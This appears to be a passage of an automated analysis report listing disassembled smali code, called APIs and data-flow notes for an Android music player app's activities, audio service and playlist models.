15iget-object v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService$1;->this$0:Lcom/twdlphqg/app/services/AudioPlayerService;
17invoke-virtual {v1}, Lcom/twdlphqg/app/services/AudioPlayerService;->resume()V
18goto_13: return-void
19cond_14:
20iget-object v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService$1;->this$0:Lcom/twdlphqg/app/services/AudioPlayerService;
22invoke-virtual {v1}, Lcom/twdlphqg/app/services/AudioPlayerService;->pause()V
23goto/16 :goto_13
APIs
  • com.twdlphqg.app.ActionBarParentActivity.onPause
  • com.twdlphqg.app.PlayerActivity.unregisterReceiver
  • android.util.Log.i
Strings
  • Pause
  • pause
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Lcom/twdlphqg/app/ActionBarParentActivity;->onPause()V
4iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity;->onFinishTrackBroadCastReceiver:Landroid/content/BroadcastReceiver;
6invoke-virtual {p0, v0}, Lcom/twdlphqg/app/PlayerActivity;->unregisterReceiver(Landroid/content/BroadcastReceiver;)V
8const-string v0, "Pause"
10const-string v1, "pause"
12invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Pause
    • msg: pause
13return-void
APIs
  • com.twdlphqg.app.services.AudioPlayerService.isPlay
  • com.twdlphqg.app.services.AudioPlayerService.pause
  • android.widget.ImageButton.setImageResource
  • com.twdlphqg.app.services.AudioPlayerService.resume
  • android.widget.ImageButton.setImageResource
Position Instruction Meta Information
0.param p1, "v" # Landroid/view/View;
1.prologue
3iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity$4;->this$0:Lcom/twdlphqg/app/PlayerActivity;
5iget-object v0, v0, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
7invoke-virtual {v0}, Lcom/twdlphqg/app/services/AudioPlayerService;->isPlay()Z
8move-result v0
9if-eqz v0, :cond_1c
11iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity$4;->this$0:Lcom/twdlphqg/app/PlayerActivity;
13iget-object v0, v0, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
15invoke-virtual {v0}, Lcom/twdlphqg/app/services/AudioPlayerService;->pause()V
17iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity$4;->this$0:Lcom/twdlphqg/app/PlayerActivity;
19iget-object v0, v0, Lcom/twdlphqg/app/PlayerActivity;->btnPlayAndPause:Landroid/widget/ImageButton;
20const v1, 0x7f020062
22invoke-virtual {v0, v1}, Landroid/widget/ImageButton;->setImageResource(I)V
  • Data flow analysis:
    • resId: 2130837602
23goto_1b: return-void
24cond_1c:
25iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity$4;->this$0:Lcom/twdlphqg/app/PlayerActivity;
27iget-object v0, v0, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
29invoke-virtual {v0}, Lcom/twdlphqg/app/services/AudioPlayerService;->resume()V
31iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity$4;->this$0:Lcom/twdlphqg/app/PlayerActivity;
33iget-object v0, v0, Lcom/twdlphqg/app/PlayerActivity;->btnPlayAndPause:Landroid/widget/ImageButton;
34const v1, 0x7f020061
36invoke-virtual {v0, v1}, Landroid/widget/ImageButton;->setImageResource(I)V
  • Data flow analysis:
    • resId: 2130837601
37goto/16 :goto_1b
APIs
  • java.util.ArrayList.get
  • java.lang.Boolean.valueOf
  • android.content.Intent.getStringExtra
  • java.lang.Integer.parseInt
  • com.twdlphqg.app.PlayerActivity.access$2
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "intent" # Landroid/content/Intent;
2.prologue
4iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity$1;->this$0:Lcom/twdlphqg/app/PlayerActivity;
6iget-object v0, v0, Lcom/twdlphqg/app/PlayerActivity;->tracks:Ljava/util/ArrayList;
8iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity$1;->this$0:Lcom/twdlphqg/app/PlayerActivity;
9iget v1, v1, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
11invoke-virtual {v0, v1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
12move-result-object v0
13check-cast v0, Lcom/twdlphqg/app/models/Track;
14const/4 v1, 0x0
16invoke-static {v1}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 0
17move-result-object v1
19invoke-virtual {v0, v1}, Lcom/twdlphqg/app/models/Track;->setSelected(Ljava/lang/Boolean;)V
21iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity$1;->this$0:Lcom/twdlphqg/app/PlayerActivity;
23sget-object v1, Lcom/twdlphqg/app/conf/constants;->TRACK_INDEX_KEY:Ljava/lang/String;
25invoke-virtual {p2, v1}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
26move-result-object v1
28invoke-static {v1}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
29move-result v1
30iput v1, v0, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
32iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity$1;->this$0:Lcom/twdlphqg/app/PlayerActivity;
34invoke-static {v0}, Lcom/twdlphqg/app/PlayerActivity;->access$2(Lcom/twdlphqg/app/PlayerActivity;)V
35return-void
APIs
  • android.os.Handler.removeCallbacks
  • com.twdlphqg.app.services.AudioPlayerService.getTotalTime
  • android.widget.SeekBar.getProgress
  • com.twdlphqg.app.services.AudioPlayerService.seek
  • com.twdlphqg.app.PlayerActivity.updateProgress
Position Instruction Meta Information
0.param p1, "seekBar" # Landroid/widget/SeekBar;
1.prologue
3iget-object v2, p0, Lcom/twdlphqg/app/PlayerActivity;->handler:Landroid/os/Handler;
5iget-object v3, p0, Lcom/twdlphqg/app/PlayerActivity;->updateTime:Ljava/lang/Runnable;
7invoke-virtual {v2, v3}, Landroid/os/Handler;->removeCallbacks(Ljava/lang/Runnable;)V
9iget-object v2, p0, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
11invoke-virtual {v2}, Lcom/twdlphqg/app/services/AudioPlayerService;->getTotalTime()I
12move-result v1
14invoke-virtual {p1}, Landroid/widget/SeekBar;->getProgress()I
15move-result v2
17invoke-static {v2, v1}, Lcom/twdlphqg/app/business/Ultils;->progressToTimer(II)I
18move-result v0
20iget-object v2, p0, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
22invoke-virtual {v2, v0}, Lcom/twdlphqg/app/services/AudioPlayerService;->seek(I)V
24invoke-virtual {p0}, Lcom/twdlphqg/app/PlayerActivity;->updateProgress()V
25return-void
APIs
  • android.os.Parcel.writeInt
  • android.os.Parcel.writeString
  • android.os.Parcel.writeInt
  • android.os.Parcel.writeString
Position Instruction Meta Information
0.param p1, "dest" # Landroid/os/Parcel;
1.param p2, "flags" # I
2.prologue
3iget v0, p0, Lcom/twdlphqg/app/models/Album;->id:I
5invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeInt(I)V
7iget-object v0, p0, Lcom/twdlphqg/app/models/Album;->title:Ljava/lang/String;
9invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
11iget-object v0, p0, Lcom/twdlphqg/app/models/Album;->artist:Ljava/lang/String;
13invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
14iget v0, p0, Lcom/twdlphqg/app/models/Album;->numberOfSongs:I
16invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeInt(I)V
18iget-object v0, p0, Lcom/twdlphqg/app/models/Album;->albumArt:Ljava/lang/String;
20invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
21return-void
APIs
  • com.twdlphqg.app.ActionBarParentActivity.onDestroy
  • android.util.Log.i
Strings
  • Destroy
  • destroy
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Lcom/twdlphqg/app/ActionBarParentActivity;->onDestroy()V
4const-string v0, "Destroy"
6const-string v1, "destroy"
8invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Destroy
    • msg: destroy
9return-void
APIs
  • com.twdlphqg.app.ActionBarParentActivity.onStart
  • android.util.Log.i
Strings
  • Destroy player
  • start player
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Lcom/twdlphqg/app/ActionBarParentActivity;->onStart()V
4const-string v0, "Destroy player"
6const-string v1, "start player"
8invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Destroy player
    • msg: start player
9return-void
APIs
  • com.twdlphqg.app.ActionBarParentActivity.onStop
  • android.util.Log.i
Strings
  • Stop
  • stop
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Lcom/twdlphqg/app/ActionBarParentActivity;->onStop()V
4const-string v0, "Stop"
6const-string v1, "stop"
8invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Stop
    • msg: stop
9return-void
APIs
  • java.util.ArrayList.size
  • com.twdlphqg.app.adapter.TabsPagerAdapter.getItem
  • com.twdlphqg.app.fragments.PlaylistFragment.refreshViewAfterAddItem
  • java.util.ArrayList.get
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Ljava/util/ArrayList",
4"<",
5"Lcom/twdlphqg/app/models/Track;",
6">;)V"
7}
8.end annotation
9.prologue
10new-instance v2, Lcom/twdlphqg/app/dals/PlaylistDal;
12invoke-direct {v2, p0}, Lcom/twdlphqg/app/dals/PlaylistDal;-><init>(Landroid/content/Context;)V
14iget-object v5, p0, Lcom/twdlphqg/app/ExplorationActivity;->playlistName:Ljava/lang/String;
16invoke-virtual {v2, v5}, Lcom/twdlphqg/app/dals/PlaylistDal;->addPlayList(Ljava/lang/String;)I
17move-result v4
18new-instance v5, Lcom/twdlphqg/app/dals/TrackDal;
20invoke-direct {v5, p0}, Lcom/twdlphqg/app/dals/TrackDal;-><init>(Landroid/content/Context;)V
21iput-object v5, p0, Lcom/twdlphqg/app/ExplorationActivity;->trackDal:Lcom/twdlphqg/app/dals/TrackDal;
23iget-object v5, p0, Lcom/twdlphqg/app/ExplorationActivity;->trackDal:Lcom/twdlphqg/app/dals/TrackDal;
25invoke-virtual {v5}, Lcom/twdlphqg/app/dals/TrackDal;->getConnect()V
26const/4 v0, 0x0
27goto_18:
28invoke-virtual {p1}, Ljava/util/ArrayList;->size()I
29move-result v5
30if-lt v0, v5, :cond_44
32invoke-virtual {v2}, Lcom/twdlphqg/app/dals/PlaylistDal;->close()V
34iget-object v5, p0, Lcom/twdlphqg/app/ExplorationActivity;->trackDal:Lcom/twdlphqg/app/dals/TrackDal;
36invoke-virtual {v5}, Lcom/twdlphqg/app/dals/TrackDal;->close()V
38iget-object v5, p0, Lcom/twdlphqg/app/ExplorationActivity;->tabPagerAdapter:Lcom/twdlphqg/app/adapter/TabsPagerAdapter;
39if-eqz v5, :cond_43
41iget-object v5, p0, Lcom/twdlphqg/app/ExplorationActivity;->tabPagerAdapter:Lcom/twdlphqg/app/adapter/TabsPagerAdapter;
42const/4 v6, 0x3
44invoke-virtual {v5, v6}, Lcom/twdlphqg/app/adapter/TabsPagerAdapter;->getItem(I)Landroid/support/v4/app/Fragment;
  • Data flow analysis:
    • p0: 3
45move-result-object v3
46check-cast v3, Lcom/twdlphqg/app/fragments/PlaylistFragment;
47new-instance v1, Lcom/twdlphqg/app/models/Playlist;
49invoke-direct {v1}, Lcom/twdlphqg/app/models/Playlist;-><init>()V
51invoke-virtual {v1, v4}, Lcom/twdlphqg/app/models/Playlist;->setId(I)V
53iget-object v5, p0, Lcom/twdlphqg/app/ExplorationActivity;->playlistName:Ljava/lang/String;
55invoke-virtual {v1, v5}, Lcom/twdlphqg/app/models/Playlist;->setName(Ljava/lang/String;)V
57invoke-virtual {v3, v1}, Lcom/twdlphqg/app/fragments/PlaylistFragment;->refreshViewAfterAddItem(Lcom/twdlphqg/app/models/Playlist;)V
58cond_43: return-void
59cond_44:
60iget-object v6, p0, Lcom/twdlphqg/app/ExplorationActivity;->trackDal:Lcom/twdlphqg/app/dals/TrackDal;
62invoke-virtual {p1, v0}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
  • Data flow analysis:
    • p0: 0
63move-result-object v5
64check-cast v5, Lcom/twdlphqg/app/models/Track;
66invoke-virtual {v6, v5, v4}, Lcom/twdlphqg/app/dals/TrackDal;->insertTrack(Lcom/twdlphqg/app/models/Track;I)V
67add-int/lit8 v0, v0, 0x1
68goto/16 :goto_18
APIs
  • android.widget.Button.setBackgroundResource
Position Instruction Meta Information
0.param p1, "position" # I
1.prologue
2const v2, 0x7f02007d
3const v1, 0x7f02007c
4packed-switch p1, :pswitch_data_38
5goto_9: return-void
6pswitch_a:
7iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity$3$1;->this$1:Lcom/twdlphqg/app/PlayerActivity$3;
9invoke-static {v0}, Lcom/twdlphqg/app/PlayerActivity$3;->access$0(Lcom/twdlphqg/app/PlayerActivity$3;)Lcom/twdlphqg/app/PlayerActivity;
10move-result-object v0
12iget-object v0, v0, Lcom/twdlphqg/app/PlayerActivity;->rectangle_1:Landroid/widget/Button;
14invoke-virtual {v0, v1}, Landroid/widget/Button;->setBackgroundResource(I)V
  • Data flow analysis:
    • p0: 2130837628
16iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity$3$1;->this$1:Lcom/twdlphqg/app/PlayerActivity$3;
18invoke-static {v0}, Lcom/twdlphqg/app/PlayerActivity$3;->access$0(Lcom/twdlphqg/app/PlayerActivity$3;)Lcom/twdlphqg/app/PlayerActivity;
19move-result-object v0
21iget-object v0, v0, Lcom/twdlphqg/app/PlayerActivity;->rectangle_2:Landroid/widget/Button;
23invoke-virtual {v0, v2}, Landroid/widget/Button;->setBackgroundResource(I)V
  • Data flow analysis:
    • p0: 2130837629
24goto/16 :goto_9
25pswitch_21:
26iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity$3$1;->this$1:Lcom/twdlphqg/app/PlayerActivity$3;
28invoke-static {v0}, Lcom/twdlphqg/app/PlayerActivity$3;->access$0(Lcom/twdlphqg/app/PlayerActivity$3;)Lcom/twdlphqg/app/PlayerActivity;
29move-result-object v0
31iget-object v0, v0, Lcom/twdlphqg/app/PlayerActivity;->rectangle_1:Landroid/widget/Button;
33invoke-virtual {v0, v2}, Landroid/widget/Button;->setBackgroundResource(I)V
  • Data flow analysis:
    • p0: 2130837629
35iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity$3$1;->this$1:Lcom/twdlphqg/app/PlayerActivity$3;
37invoke-static {v0}, Lcom/twdlphqg/app/PlayerActivity$3;->access$0(Lcom/twdlphqg/app/PlayerActivity$3;)Lcom/twdlphqg/app/PlayerActivity;
38move-result-object v0
40iget-object v0, v0, Lcom/twdlphqg/app/PlayerActivity;->rectangle_2:Landroid/widget/Button;
42invoke-virtual {v0, v1}, Landroid/widget/Button;->setBackgroundResource(I)V
  • Data flow analysis:
    • p0: 2130837628
43goto/16 :goto_9
APIs
  • com.twdlphqg.app.services.AudioPlayerService.setRepeat
  • android.widget.ImageButton.setImageResource
  • com.twdlphqg.app.services.AudioPlayerService.setRepeat
  • android.widget.ImageButton.setImageResource
Position Instruction Meta Information
0.param p1, "v" # Landroid/view/View;
1.prologue
2const/4 v2, 0x1
3const/4 v1, 0x0
5iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity$5;->this$0:Lcom/twdlphqg/app/PlayerActivity;
6iget-boolean v0, v0, Lcom/twdlphqg/app/PlayerActivity;->isRepeat:Z
7if-nez v0, :cond_1e
9iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity$5;->this$0:Lcom/twdlphqg/app/PlayerActivity;
10iput-boolean v2, v0, Lcom/twdlphqg/app/PlayerActivity;->isRepeat:Z
12iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity$5;->this$0:Lcom/twdlphqg/app/PlayerActivity;
14iget-object v0, v0, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
16invoke-virtual {v0, v2}, Lcom/twdlphqg/app/services/AudioPlayerService;->setRepeat(Z)V
  • Data flow analysis:
    • p0: 1
18iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity$5;->this$0:Lcom/twdlphqg/app/PlayerActivity;
20iget-object v0, v0, Lcom/twdlphqg/app/PlayerActivity;->btnRepeat:Landroid/widget/ImageButton;
21const v1, 0x7f020065
23invoke-virtual {v0, v1}, Landroid/widget/ImageButton;->setImageResource(I)V
  • Data flow analysis:
    • resId: 2130837605
24goto_1d: return-void
25cond_1e:
26iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity$5;->this$0:Lcom/twdlphqg/app/PlayerActivity;
27iput-boolean v1, v0, Lcom/twdlphqg/app/PlayerActivity;->isRepeat:Z
29iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity$5;->this$0:Lcom/twdlphqg/app/PlayerActivity;
31iget-object v0, v0, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
33invoke-virtual {v0, v1}, Lcom/twdlphqg/app/services/AudioPlayerService;->setRepeat(Z)V
  • Data flow analysis:
    • p0: 2130837605
35iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity$5;->this$0:Lcom/twdlphqg/app/PlayerActivity;
37iget-object v0, v0, Lcom/twdlphqg/app/PlayerActivity;->btnRepeat:Landroid/widget/ImageButton;
38const v1, 0x7f020064
40invoke-virtual {v0, v1}, Landroid/widget/ImageButton;->setImageResource(I)V
  • Data flow analysis:
    • resId: 2130837604
41goto/16 :goto_1d
APIs
  • com.twdlphqg.app.services.AudioPlayerService.setShuffle
  • android.widget.ImageButton.setImageResource
  • com.twdlphqg.app.services.AudioPlayerService.setShuffle
  • android.widget.ImageButton.setImageResource
Position Instruction Meta Information
0.param p1, "v" # Landroid/view/View;
1.prologue
2const/4 v2, 0x1
3const/4 v1, 0x0
5iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity$6;->this$0:Lcom/twdlphqg/app/PlayerActivity;
6iget-boolean v0, v0, Lcom/twdlphqg/app/PlayerActivity;->isShuffle:Z
7if-nez v0, :cond_1e
9iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity$6;->this$0:Lcom/twdlphqg/app/PlayerActivity;
10iput-boolean v2, v0, Lcom/twdlphqg/app/PlayerActivity;->isShuffle:Z
12iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity$6;->this$0:Lcom/twdlphqg/app/PlayerActivity;
14iget-object v0, v0, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
16invoke-virtual {v0, v2}, Lcom/twdlphqg/app/services/AudioPlayerService;->setShuffle(Z)V
  • Data flow analysis:
    • p0: 1
18iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity$6;->this$0:Lcom/twdlphqg/app/PlayerActivity;
20iget-object v0, v0, Lcom/twdlphqg/app/PlayerActivity;->btnShuffle:Landroid/widget/ImageButton;
21const v1, 0x7f020068
23invoke-virtual {v0, v1}, Landroid/widget/ImageButton;->setImageResource(I)V
  • Data flow analysis:
    • resId: 2130837608
24goto_1d: return-void
25cond_1e:
26iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity$6;->this$0:Lcom/twdlphqg/app/PlayerActivity;
27iput-boolean v1, v0, Lcom/twdlphqg/app/PlayerActivity;->isShuffle:Z
29iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity$6;->this$0:Lcom/twdlphqg/app/PlayerActivity;
31iget-object v0, v0, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
33invoke-virtual {v0, v1}, Lcom/twdlphqg/app/services/AudioPlayerService;->setShuffle(Z)V
  • Data flow analysis:
    • p0: 2130837608
35iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity$6;->this$0:Lcom/twdlphqg/app/PlayerActivity;
37iget-object v0, v0, Lcom/twdlphqg/app/PlayerActivity;->btnShuffle:Landroid/widget/ImageButton;
38const v1, 0x7f020067
40invoke-virtual {v0, v1}, Landroid/widget/ImageButton;->setImageResource(I)V
  • Data flow analysis:
    • resId: 2130837607
41goto/16 :goto_1d
Cross References
APIs
  • java.util.ArrayList.isEmpty
  • com.twdlphqg.app.adapter.TrackAdapter.<init>
  • android.widget.ListView.setAdapter
  • android.widget.ListView.setOnItemClickListener
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.param p2, "list" # Landroid/widget/ListView;
2.param p3, "fragmentManager" # Landroid/support/v4/app/FragmentManager;
3.annotation system Ldalvik/annotation/Signature;
4value = {
5"(",
6"Landroid/content/Context;",
7"Ljava/util/ArrayList",
8"<",
9"Lcom/twdlphqg/app/models/Track;",
10">;",
11"Landroid/widget/ListView;",
12"Landroid/support/v4/app/FragmentManager;",
13")V"
14}
15.end annotation
16.prologue
18invoke-virtual {p1}, Ljava/util/ArrayList;->isEmpty()Z
19move-result v1
20if-nez v1, :cond_19
21new-instance v0, Lcom/twdlphqg/app/adapter/TrackAdapter;
22const v1, 0x7f030026
24invoke-direct {v0, p0, v1, p1, p3}, Lcom/twdlphqg/app/adapter/TrackAdapter;-><init>(Landroid/content/Context;ILjava/util/ArrayList;Landroid/support/v4/app/FragmentManager;)V
  • Data flow analysis:
    • p1: 2130903078
26invoke-virtual {p2, v0}, Landroid/widget/ListView;->setAdapter(Landroid/widget/ListAdapter;)V
27new-instance v1, Lcom/twdlphqg/app/business/Ultils$1;
29invoke-direct {v1, p1, p0}, Lcom/twdlphqg/app/business/Ultils$1;-><init>(Ljava/util/ArrayList;Landroid/content/Context;)V
31invoke-virtual {p2, v1}, Landroid/widget/ListView;->setOnItemClickListener(Landroid/widget/AdapterView$OnItemClickListener;)V
32cond_19: return-void
APIs
  • com.twdlphqg.app.services.AudioPlayerService.play
  • android.widget.ImageButton.setImageResource
  • com.twdlphqg.app.PlayerActivity.updateUI
  • java.lang.Exception.printStackTrace
Position Instruction Meta Information
0.param p1, "trackIndex" # I
1.param p3, "updateUI" # Ljava/lang/Boolean;
2.annotation system Ldalvik/annotation/Signature;
3value = {
4"(I",
5"Ljava/util/ArrayList",
6"<",
7"Lcom/twdlphqg/app/models/Track;",
8">;",
9"Ljava/lang/Boolean;",
10")V"
11}
12.end annotation
13.prologue
14try_start_0: iput p1, p0, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
16iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
18invoke-virtual {v1, p1, p2}, Lcom/twdlphqg/app/services/AudioPlayerService;->play(ILjava/util/ArrayList;)V
20iget-object v1, p0, Lcom/twdlphqg/app/PlayerActivity;->btnPlayAndPause:Landroid/widget/ImageButton;
21const v2, 0x7f020061
23invoke-virtual {v1, v2}, Landroid/widget/ImageButton;->setImageResource(I)V
  • Data flow analysis:
    • resId: 2130837601
25invoke-direct {p0}, Lcom/twdlphqg/app/PlayerActivity;->updateUI()V
26try_end_12: return-void
27catch_13: move-exception v0
29invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
30goto/16 :goto_12
APIs
  • com.twdlphqg.app.ActionBarParentActivity.<init>
  • android.os.Handler.<init>
  • java.lang.Boolean.valueOf
  • com.twdlphqg.app.PlayerActivity$1.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Lcom/twdlphqg/app/ActionBarParentActivity;-><init>()V
3new-instance v0, Landroid/os/Handler;
5invoke-direct {v0}, Landroid/os/Handler;-><init>()V
6iput-object v0, p0, Lcom/twdlphqg/app/PlayerActivity;->handler:Landroid/os/Handler;
7const/4 v0, 0x0
9invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 0
10move-result-object v0
11iput-object v0, p0, Lcom/twdlphqg/app/PlayerActivity;->newTask:Ljava/lang/Boolean;
12new-instance v0, Lcom/twdlphqg/app/PlayerActivity$1;
14invoke-direct {v0, p0}, Lcom/twdlphqg/app/PlayerActivity$1;-><init>(Lcom/twdlphqg/app/PlayerActivity;)V
15iput-object v0, p0, Lcom/twdlphqg/app/PlayerActivity;->onFinishTrackBroadCastReceiver:Landroid/content/BroadcastReceiver;
16new-instance v0, Lcom/twdlphqg/app/PlayerActivity$2;
18invoke-direct {v0, p0}, Lcom/twdlphqg/app/PlayerActivity$2;-><init>(Lcom/twdlphqg/app/PlayerActivity;)V
19iput-object v0, p0, Lcom/twdlphqg/app/PlayerActivity;->updateTime:Ljava/lang/Runnable;
20new-instance v0, Lcom/twdlphqg/app/PlayerActivity$3;
22invoke-direct {v0, p0}, Lcom/twdlphqg/app/PlayerActivity$3;-><init>(Lcom/twdlphqg/app/PlayerActivity;)V
23iput-object v0, p0, Lcom/twdlphqg/app/PlayerActivity;->serviceConnection:Landroid/content/ServiceConnection;
24return-void
APIs
  • android.support.v4.app.DialogFragment.onAttach
  • com.twdlphqg.app.fragments.CustomSelectPlaylistDialogFragment.getArguments
  • android.os.Bundle.getParcelable
Position Instruction Meta Information
0.param p1, "activity" # Landroid/app/Activity;
1.prologue
3invoke-super {p0, p1}, Landroid/support/v4/app/DialogFragment;->onAttach(Landroid/app/Activity;)V
4check-cast p1, Lcom/twdlphqg/app/interfaces/CustomSelectPlaylistDialogComunicator;
5iput-object p1, p0, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->listener:Lcom/twdlphqg/app/interfaces/CustomSelectPlaylistDialogComunicator;
7invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->getArguments()Landroid/os/Bundle;
8move-result-object v0
9if-eqz v0, :cond_1b
11invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->getArguments()Landroid/os/Bundle;
12move-result-object v0
14sget-object v1, Lcom/twdlphqg/app/conf/constants;->TRACK_INDEX_KEY:Ljava/lang/String;
16invoke-virtual {v0, v1}, Landroid/os/Bundle;->getParcelable(Ljava/lang/String;)Landroid/os/Parcelable;
17move-result-object v0
18check-cast v0, Lcom/twdlphqg/app/models/Track;
19iput-object v0, p0, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->track:Lcom/twdlphqg/app/models/Track;
20cond_1b: return-void
APIs
  • android.view.MenuItem.getItemId
  • com.twdlphqg.app.ActionBarParentActivity.onOptionsItemSelected
  • android.content.Intent.<init>
  • com.twdlphqg.app.PlayerActivity.startActivity
Position Instruction Meta Information
0.param p1, "item" # Landroid/view/MenuItem;
1.prologue
3invoke-interface {p1}, Landroid/view/MenuItem;->getItemId()I
4move-result v1
5packed-switch v1, :pswitch_data_18
6goto_7:
7invoke-super {p0, p1}, Lcom/twdlphqg/app/ActionBarParentActivity;->onOptionsItemSelected(Landroid/view/MenuItem;)Z
8move-result v1
9return v1
10pswitch_c: new-instance v0, Landroid/content/Intent;
11const-class v1, Lcom/twdlphqg/app/ExplorationActivity;
13invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
15invoke-virtual {p0, v0}, Lcom/twdlphqg/app/PlayerActivity;->startActivity(Landroid/content/Intent;)V
16goto/16 :goto_7
17nop
Cross References
APIs
  • java.lang.Object.<init>
  • java.lang.Boolean.valueOf
  • android.os.Parcel.readInt
  • android.os.Parcel.readString
Position Instruction Meta Information
0.param p1, "in" # Landroid/os/Parcel;
1.prologue
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4const/4 v0, 0x0
6invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 0
7move-result-object v0
8iput-object v0, p0, Lcom/twdlphqg/app/models/Playlist;->checked:Ljava/lang/Boolean;
10invoke-virtual {p1}, Landroid/os/Parcel;->readInt()I
11move-result v0
12iput v0, p0, Lcom/twdlphqg/app/models/Playlist;->id:I
14invoke-virtual {p1}, Landroid/os/Parcel;->readString()Ljava/lang/String;
15move-result-object v0
16iput-object v0, p0, Lcom/twdlphqg/app/models/Playlist;->name:Ljava/lang/String;
17return-void
Cross References
APIs
  • android.media.MediaPlayer.isPlaying
  • android.media.MediaPlayer.pause
  • com.twdlphqg.app.services.AudioPlayerService.cancelNotification
  • java.lang.Exception.printStackTrace
Position Instruction Meta Information
0.prologue
1try_start_0:
2iget-object v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->mediaPlayer:Landroid/media/MediaPlayer;
4invoke-virtual {v1}, Landroid/media/MediaPlayer;->isPlaying()Z
5move-result v1
6if-eqz v1, :cond_10
8iget-object v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->mediaPlayer:Landroid/media/MediaPlayer;
10invoke-virtual {v1}, Landroid/media/MediaPlayer;->pause()V
12invoke-virtual {p0}, Lcom/twdlphqg/app/services/AudioPlayerService;->cancelNotification()V
13goto_10: return-void
14catch_11: move-exception v0
16invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
17goto/16 :goto_10
APIs
